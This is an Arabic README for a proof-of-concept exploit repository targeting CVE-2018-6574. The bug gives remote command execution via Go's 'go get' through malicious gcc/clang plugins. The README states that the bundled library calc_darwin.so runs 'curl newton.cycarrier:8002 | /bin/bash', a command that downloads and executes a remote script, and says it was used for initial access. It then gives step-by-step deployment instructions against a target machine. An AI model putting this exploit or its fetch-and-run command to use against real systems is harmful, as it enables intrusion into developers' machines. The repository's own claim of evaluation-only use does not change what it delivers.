
استغلال إثبات المفهوم لـ CVE-2018-6574، يوضح تنفيذ الأوامر عن بُعد في أمر go get الخاص بـ Go عبر إضافات المترجم الخبيثة أثناء بناء الشفرة المصدرية.
Go قبل الإصدار 1.8.7، وGo 1.9.x قبل الإصدار 1.9.4، والإصدارات الأولية لـGo 1.10 قبل Go 1.10rc2 تسمح بتنفيذ أوامر عن بُعد عبر go get أثناء بناء الشيفرة المصدرية، وذلك من خلال استغلال ميزة الإضافات (plugins) في gcc أو clang، لأن الوسيطات -fplugin= و -plugin= لم تكن محظورة. (من mitre)
تم تجميع الأمر في المكتبة الديناميكية calc_darwin.so. والأمر الحالي هو curl newton.cycarrier:8002 | /bin/bash. تم استخدامه كوصول أولي لبرنامج. يجب عليك استضافة خادم ملفات على المنفذ 8002 وربط المضيف بعنوان IP الخاص بك.
أولاً، يجب تثبيت الإصدار المطلوب من Go على الجهاز المستهدف. ثم، استضافة هذا المستودع على خادم Git يمكن الوصول إليه. أخيرًا، استخدم الأمر go get لجلب هذا المستودع، وسيتم تنفيذ الأمر تلقائيًا.
خذ مستودعي كمثال. عليك استخدام الأمر التالي:
go get github.com/frozenkp/CVE-2018-6574
هذا المستودع مخصص لأغراض التقييم فقط.